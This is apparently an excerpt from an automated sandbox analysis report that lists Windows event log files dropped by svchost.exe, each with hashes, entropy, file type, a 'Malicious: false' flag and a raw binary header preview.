MD5:	956F71E4358E3FA418471A6ED32099A1
SHA1:	8E7EA42BC2720D07EE6972A22D548E50AFA94B9B
SHA-256:	86ADCE80FA11CBABB004903AC9DEB4629F25742C691EA41E773351A6B10F52A0
SHA-512:	0B9A8D159BB907B07082CA06C17F884F3BECFA87EC56349E0B1548C7EBA3272499EFBC441E0E17583F523F225AA51D0E051091953F7C85FFD044A17204819E03
Malicious:	false
Preview:	ElfChnk.1/......`/......1/......`/..........8.......K........................................................................(..................X...........................=...........................................................................................................................f...............?...........................m...................M...F................................i...&...,..............&............7..................#..............1...[#..s1..c:...................v..........**..p...1/..........k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.5108896752596689
Encrypted:	false
SSDEEP:	96:XNVaO8sMa3Z85ZMLoVrjj53Z85ZL3Z85Z16rjje3Z85Zu:9V7pp8nMLgv5p8nLp8nkvep8n
MD5:	AF37F0FBA2602B61ACFE1364D866A915
SHA1:	22DEF809AD81486144C67376D2D4374D9864C58B
SHA-256:	340769D4D84E26D4B0C3617564BAEA5E123D78BA618CACC31EF69A5339A7944E
SHA-512:	EA14D48F18DFBC7ABB25456E7258D2CC93C785FB6626A997FB5F7A88EFA619D1BB63D9A2D36F45F68701C65C73625CC863C437E22CCE2274C8B501840BFF4545
Malicious:	false
Preview:	ElfChnk.....................................H........fY.....................................................................a.%.............................................=...........................................................................................................................f...............?...................................p...........M...F...................................................................n...............................................................&...............**..p...........n.d.............g.&.........g....R....uJ.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Bits-Client%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	MS Windows Vista Event Log, 5 chunks (no. 4 in use), next record no. 351, DIRTY
Category:	dropped
Size (bytes):	80240
Entropy (8bit):	4.533692334841813
Encrypted:	false
SSDEEP:	768:M9MRTbabPb6bp0J7Pkp9MRTbabPb6bp0J7Pk5b0RWtQXlljUpC/bKQ3KcPKMRe:NO7GdCO7GdXb0RWtQXlIC/
MD5:	5BBC57BA7D2FCA5FD57901130816006D
SHA1:	205AE51D66BA9679594A2222C0B8D7B1551A031F
SHA-256:	5F0E9D56FDDABE798F80338E68650D7C431848A0CAC9C875CA0347E0D010DA0D
SHA-512:	52E77510C12544E9EE039CC77089FD7AF22F51797091E63250BA3A1BD5EE32E7B916FE77B0E69FF41828ABF45577D521F873EE0BA5F03D134C16A2B9CDBA4DC6
Malicious:	false
Preview:	ElfFile................._.......................................................................................................ElfChnk.X.......e.......X.......e...........X6...8..ua......................................................................ry%.................".......................J...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&.......]....................-..........................................3..................*......X.......4.\|.k.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d.

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CloudStore%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.553119382038729
Encrypted:	false
SSDEEP:	768:hPB9TXYa1RFxRaayVadMRFyfqd9xZRta7Ea+5BVZUeaBhN1dJhlBlBJ9xFkogaKw:NXY5nVYIyyqED5BVZUeZ4uvhtxZNHC0
MD5:	FE618E338D5C3D28727C2E34CB67B348
SHA1:	871AC1687017A92308C10AC0D665EE0C5E86330B
SHA-256:	F6F1590ADFBC5766E12DEEEC49C79C61D6E925A006C143F8199DA25E9C228021
SHA-512:	DB38A293F9A82002C8B531E4581AD9685D6805D8C52C52BB070C37741800279B7D8D44886A568D162864F9DA45EA8F5F0CFE6115C891659BDDE5858D7981FE2D
Malicious:	false
Preview:	ElfChnk.........\|...............\|...................r.......................................................................g...................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F.......................................................F...&...............................................................y.......................**................9..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-CodeIntegrity%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	6672
Entropy (8bit):	4.070561807753172
Encrypted:	false
SSDEEP:	192:hEoIBo4yroIPo4yqoIeo4y5oI5o4ye2soI312vo4y3:yo4o4yro+o4yqofo4y5ogo4yeLo0oo4o
MD5:	367EF045E49558389F92489A26A2A298
SHA1:	78F1E09D988E715175FCAACC1216F553C5A9F85B
SHA-256:	EB7DA03629EA12B3A45184655F56784C5016EE650C335B00DB79CA3BD3E21405
SHA-512:	64F46EEA916C94E7441E9873889ED3C0B8E1A66E4B149E32C937D9F57C0989DD5F890A9A6E18CF4BFEA62213F452D0B4F49B18F6490277A16FEADDD5DA8632C7
Malicious:	false
Preview:	ElfChnk.........)...............)...........Hd...f....f>........................................................................................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F........................................................".......5..................................=1..............U+..............................**...... .......g#..MQ........V...."..............................................................>.......V...5.!..o..............g#..MQ.....Pl......Pl.......T... ....................M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y..k.N.<.D..97d>7.M.i.c.r.o.s.o.f.t.-.W.i.n.d.o.w.s.-.C.o.d.e.I.n.t.e.g.r.i.t.y./.O.p.e.r.a.t.i.o.n.a.l...be.`=1..................l...............J.\.D.e.v.i.c.e.\.H.a.r.d.d.i.s.k.V.o.l.u.m.e.3.\.U.s.e.r.s.\.t.i.n.a.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-BindFlt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	DIY-Thermocam raw data (Lepton 2.x), scale 10794-0, spot sensor temperature 0.000000, unit celsius, color scheme 17, calibration: offset 0.000488, slope 671170320874568247259693056.000000
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8969278747465751
Encrypted:	false
SSDEEP:	384:UhAiPA5PNPxPEPHPhPEPmPSPRP3PoPHPc1Px6PEPiP:U2NJn
MD5:	216EB14C32C7E1C183C3849992A80F5A
SHA1:	40A9C4399982EA1E7325194FB23694A17BCC4021
SHA-256:	CE21938B348E147663DB6A985A8007DBA3205D755ADE30C97D5EF2C1C1BC395D
SHA-512:	9CCEB4BCECDF95FBCC39CA6C79477ADE937BA8E990839A39381FF45C1837C59C2A5C0AEE9748FF464EEE0B3EEDD33A28BC183D7B28B1446E09616C7C32CF9890
Malicious:	false
Preview:	ElfChnk......................................'...(..........................................................................1l}................N...........................=...........................................................................................................................f...............?...........................m...................M...F........................................................"..................................................................'.......................**..x.............\|..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Containers-Wcifs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8892351173604517
Encrypted:	false
SSDEEP:	384:ihZ21JJgL4JJFiJJ+aeJJ+WBJJ+5vJJ+/UJJ+4fJJ+CwJJ+D2JJ+a2JJ+JtJJ+lz:iWXSYieD+tvgzmMvbJfO5p/
MD5:	DB3605F9285639F33537440BE6EDFF19
SHA1:	81FCFAF61C34223E458C3FA15D81CCDB526FA7E3
SHA-256:	01EE95A72E38B2CD87C963328EF980D6CA8F213EB917FE85D0A8B7516AE6DB7A
SHA-512:	E6CCA79CA504AB1F45129BF0800AF3016C95AD1DC4C40820DEC5BCAFDCFF6D2F775C5686B8C3DC68089BBFAFA7272F83656A9FE60B47AE500164234E27DD01CF
Malicious:	false
Preview:	ElfChnk......................................&...(.........................................................................d.e................F...........................=...........................................................................................................................f...............?...........................m...................M...F...........................&............................!..........................................................................................**..p............zu..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-DPAPI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1292330639590378
Encrypted:	false
SSDEEP:	384:2hqhSx4h/y4Rhph5h6hNh5hah/hrhbhmhjh/h7hkh8hbhMh9hYwhChwh8hRqh28L:2bCyhLfILxCrTD
MD5:	18332B9CEF2A991B5E592CE501F8A7C3
SHA1:	505440BA82A4EBBB4B25C850028B63FFEED42B12
SHA-256:	35DE8F86699C5C0D0AB52F9AAC22DB2BFE0275A7BA827D34BB6E91755699A903
SHA-512:	2B7A094594BAB631875E19B255B781F081FAF19DC36F907CACF5069B617B8AA45E9EA293666766B459C3C1F53D0FA382AF5DD9068188DE8548B5A6D7A08F305E
Malicious:	false
Preview:	ElfChnk.........K...............K...........................................................................................W.................6.......................^...=...........................................................................................................................f...............?...........................m...................M...F............................n...........................}..n.......................................................................................**..`............0H..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Crypto-NCrypt%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.3870608054107048
Encrypted:	false
SSDEEP:	768:LcMhFBuyKskZljdoKXjtT/r18rQXn81E+ABUyxFlt:oMhFBuV
MD5:	76B77CE33A18F23EC900A2518183CA4F
SHA1:	B0C4C879DBE9180FE5E9E9C33CDF4852D8FFD08E
SHA-256:	FC209871248A8959C1599678291A24B003E0E271BF9DC8DA4C7CAD9810E71DBF
SHA-512:	418771DF3D7FD4188D3048FD35415C943C41CC1EDB4FDC72B16F9C539291A1DA4A6DCD20971FEBBA2D85855CBDD97407B5029E288BC5A894B1A63E447F86D350
Malicious:	false
Preview:	ElfChnk.........N...............N.....................o....................................................................._.8................:.......................b...=...........................................................................................................................f...............?...........................m...................M...F..........................................................&...............m...........................5A..........................................**..x...........,.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnosis-DPS%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.893264270765261
Encrypted:	false
SSDEEP:	768:hzLQaQ+uYvAzBCBao/F6Cf2SEqEhwaK41HZayvVjOXJ7MomT:SH
MD5:	997B1AFEAF4BA8EA8694051AD6416736
SHA1:	460337EF9BAE6BCD38425265C729DC646CF9F6AA
SHA-256:	6A8B55BAD6FB18AAFAEC596A6D9127042CC5945E639E7202AE2F88A4359E6E2E
SHA-512:	058BEAA9D0FAE979DB0E128DB746EE5BE14703EBE0E1FE246B07C684555F6DC2396F064793171CDDC2130F530F61D71E78219C73A838D5A750C5FAC3D970E69B
Malicious:	false
Preview:	ElfChnk.u.......w.......u.......w...........H...X......s.....................................................................T.......................................R...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................*..8...u.......0...l.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.0730251724302735
Encrypted:	false
SSDEEP:	384:ODh1kbAP1gzkw3kN5Ayqk+HkzGk+hkV3SuckzlckA66k+4DkzRxk+dkzwUk+rkzn:ODMAP1Qa5AgfQQnFNs
MD5:	E402DADC0A3CF3AB38D30513F00304AF
SHA1:	A65A8D20B440685649B27C28F92419540ADB1387
SHA-256:	4E09594670A9D91B15B149065A02DDEEEDC25F95C1770D257B9D5AF5903D1069
SHA-512:	846BDF314AA3A452F62377AA10DE0CEE28F907C752DD4009042F5DFB0E0D67FF3B62680121F8E6CF471C120B78712DFD30C0BB68AEE47614712389E835B85EA9
Malicious:	false
Preview:	ElfChnk......................................h...k.........................................................................1.................b...........................=...........................................................................................................................f...............?...........................m...................M...F............................R...........................[..&........................................&..............;...............................**..x...........HD................&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-GroupPolicy%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.4396814509242954
Encrypted:	false
SSDEEP:	384:UhHE8EWE83ETsEiEsELEDEZPWEkTbEtE0EZNjExEAuw9E3E8x7EsE3E7TsEqETEJ:U7MDP0NzJAWC9NH4MM92mK
MD5:	6DFF4B5C09E627EF26FCBBD2DE75C43F
SHA1:	5F4387D1D94268078D7BA6404C86F5B2D8DFFD5C
SHA-256:	A2B945C20718767345C44531C294AC30813401944CB2E975ABA3DDB553F7A1C3
SHA-512:	D26C941A28AC836705CB600E801A7886917DEB7E99B05CCE9C6EFABEEB5BB97385FB7404D9FE3CBF2172D50635E20AC5C66B830EC766A7896B0F90F1B91D9DEB
Malicious:	false
Preview:	ElfChnk.o...............o....................\..x]...2EG.......................................................................................".......................J...=...........................................................................................................................f...............?...........................m...................M...F.......................................5'..5...........&...m<............../...,.......)...2..........u................................?... ......*......o..........Kl.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-HelloForBusiness%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.362503717077114
Encrypted:	false
SSDEEP:	384:vhYCAKRuKIYKxkKiCKVIAK8sL4K5VKjPKwnKZ/K50K8/0KXAKuWKSlK+NK8t3KlS:v1T4hc2qi
MD5:	4C92D93C7F87E4A64DC29463091A42C8
SHA1:	D19094A30349985FE09C232BBCC4B878BD6D6AD0
SHA-256:	DA8BE077BEF47E81B3E12759DEA5420155BA265493A46658EA13F2F928F72D90
SHA-512:	C3A683682B62C8DBA808AB677C2E84AE21DB5BEB3CAA18392EC76FDD5C69D62801C6AEA74AE28356D06F93164FD5E03784025CA2ED3B7107F62F216531F2C859
Malicious:	false
Preview:	ElfChnk.........m...............m...........@......Q%<Z....................................................................@y./................V.......................T...=...........................................................................................................................f...............?...........................m...................M...F............................\|..........................6...&.............................................................../.......................**............... .$..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-Boot%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.4849846631124035
Encrypted:	false
SSDEEP:	384:EhFiDhKxDmqIDrfDYEDdDDDbDOD2DSD+DtDFDxDlDUDEDoDADeDuDx4DWDXDjDfj:EzSKEqsMuy69zW
MD5:	2226C05A4399EA005069701F13C50CDF
SHA1:	47682BF1A26013DD0AD0CE208EDDA173A3E7DC1F
SHA-256:	50777B2EC76C0C3462FE80F41F429A0DC495AFDE5863B88A5BE933D20FFAA72F
SHA-512:	9E879918D8840263A4B689A7F7EC1E3D56A24A29108745F12075D0DDA58FD382862CE749D25B34863FA8510A847731C7BDD5FD35A1E4D1014C86DFA4E6A43200
Malicious:	false
Preview:	ElfChnk.........L...............L...........x..............................................................................LH.................2.......................Z...=...........................................................................................................................f...............?...........................m...................M...F............................`...........................h..........=...............................................................................**...............v?..............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-ShimEngine%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	2.1948803970786184
Encrypted:	false
SSDEEP:	384:2hMLzI9ozTxzFEz3zLzWztCzizQzzz5zqfzDz5z1zkzSz9zEzWz+zQzqbzUTz3ze:2mw9g3LSn
MD5:	8A2170B6115170B335F7B2DF888450F5
SHA1:	CC01B3B27D4CD98569849918BEFA4C22DB3422CD
SHA-256:	88EE4C534A63BC86A5438584171B849D35EDAFACB1E97DF6250257EA71A9C194
SHA-512:	73338AC3FB0FB8F4B159CE9D8BEFCE0E4C3622C6BE478D2F8962108DE5EC8F5A176B89359518679AB534573AFBD3D129780A818D6398E51D953DB34DBDF43DA0
Malicious:	false
Preview:	ElfChnk.........6...............6........... q...r...V.........................................................................%................J.......................r...=...........................................................................................................................f...............?...........................m...................M...F............................X......E...................^`..n.......#...............................................................................**..............j...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Kernel-WHEA%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.9290486353315277
Encrypted:	false
SSDEEP:	384:ehSIdreMAiIaMIERIhIVIH3ID4IUIVIFNIBeIaI9IjILIMI+I:egR0a
MD5:	BE1D04E97F63FA592D815B2E30BFF402
SHA1:	BA7066B9A288A05903F98A4D6D4DE078F0C97055
SHA-256:	C69017673291C70B6407E3A6A20A668BB0DEC221BBF7FE28DC536875F6CBB544
SHA-512:	95A39015B0E3837E5F5A22C1941F63C2DEE1DD1BC3F39D09F6AB3AF9CD32EEB50B1B5D5D06DF2D8121EAA4A029CCB56AB78C8E19F07CD0D8E0607B6665810CF4
Malicious:	false
Preview:	ElfChnk.K.......L.......K.......L...........p...06...1......................................................................4.>.................".......................J...=...........................................................................................................................f...............?...........................m...................M...F.......................................................&...........................................................................................**..p...K.......]w.Ql.........V...&.......V...."[S<..~..f[........A..z...M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NCSI%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0410598219769145
Encrypted:	false
SSDEEP:	384:Bh1hM7MpMEaMWFMu/Ma2M+AMmGM1cMNF3Mg9Ml7MABMczM0cMKhMDGMbqeMmaZM3:BeJI/
MD5:	2A6CB378303A1D981C7B0A302BEE8BD1
SHA1:	B4907ECBB48F54714B8AC0258234E8D82E76D84E
SHA-256:	A7DAFB2EE13C6310BAD470E94B69B7A684455C719CBFDDF4E5C30C980FF7C2F8
SHA-512:	30F7B30A66B94F9C1CB5E84F0CE3357507EE9D487A150B58E201A8221C18DAC1FC2E90C6D7D158EE398045DD43204CCDB7600C7E21AE25AABB55789D5C93DE29
Malicious:	false
Preview:	ElfChnk......................................-..0/...i.?.....................................................................V_N........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................%...........................(..........................................................................................**..............c...............&............MVy...o.~........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-NetworkProfile%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	4.243738767955284
Encrypted:	false
SSDEEP:	384:Yhk1EL1I1Vh1C1D161f1f181L1tY1VGm1Q1L1p1VG1U1Z1s1VA141c1Vc1q1tS1B:YBjdjP0cs3ZMgC
MD5:	2A5848FF3CA56A36A448877BFDD56309
SHA1:	BB2591B44C6643F6F728BEA3FBC86AEA08A5AE9C
SHA-256:	DCDC586F358A6D8C852C98BB1FC4A389B6687F9C7274F6B2C6EBE2390F0EF70A
SHA-512:	9784C3387618E510F3273678F10B3EF5EB14D55F1809DFC126E052651D6DC4885B2BF1FC37C5D222A1F7D4A75D563E0EC1709672B647C94714E6D4599ECEC92E
Malicious:	false
Preview:	ElfChnk......................................................................................................................+..................>.......................f...=...........................................................................................................................f...............?...........................m...................M...F...........................................................&...............................A.......................................................*..............5.8..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4Operational.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	3.1192737713245897
Encrypted:	false
SSDEEP:	384:cdhDIEQAGxIHIFIW4If5ITUrIFI8Ib5IfgITdIhIxIaIIvOIyIpJI6I0jIf8ITf7:cdZxGTMF/C1
MD5:	6DB618D27FC61764274917450CE9289B
SHA1:	AE7C730A06BB3BFBDAEF5E3A0BF44E274230E8E8
SHA-256:	E74C8659CA3D5574388F61DDB7AEB3FC72DE1BE58FFF969208DE5E399437F4EA
SHA-512:	56F24041E1BD0B589178867A5FACF09E70586349138CCC17429A5B120C3E6A4D23815C09C4B9349C5F32DEB6F18B98ABDC022CBE370874B14C164C6538B57C11
Malicious:	false
Preview:	ElfChnk.T...............T............................Z.......................................................................Q.........................................>...=...........................................................................................................................f...............?...........................m...................M...F............................(...........................X......................1........................................8..........................**......T.......B..d..............&...........\|B._..Q=;C9.........A......M...........E.v.e.n.t........j...........x.m.l.n.s.....5.h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.w.i.n./.2.0.0.4./.0.8./.e.v.e.n.t.s./.e.v.e.n.t.................oT..S.y.s.t.e.m....A..Y............{..P.r.o.v.i.d.e.r...6...F=.......K...N.a.m.e........X.......)...G.u.i.d........A..M...z........a..E.v.e.n.t.I.D...'........X...)...Q.u.a.l.i.f.i.e.r.s................"...............V.e.r.s.i.o.n.....

C:\Windows\System32\winevt\Logs\Microsoft-Windows-Ntfs%4WHC.evtx

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8473964145384382
Encrypted:	false
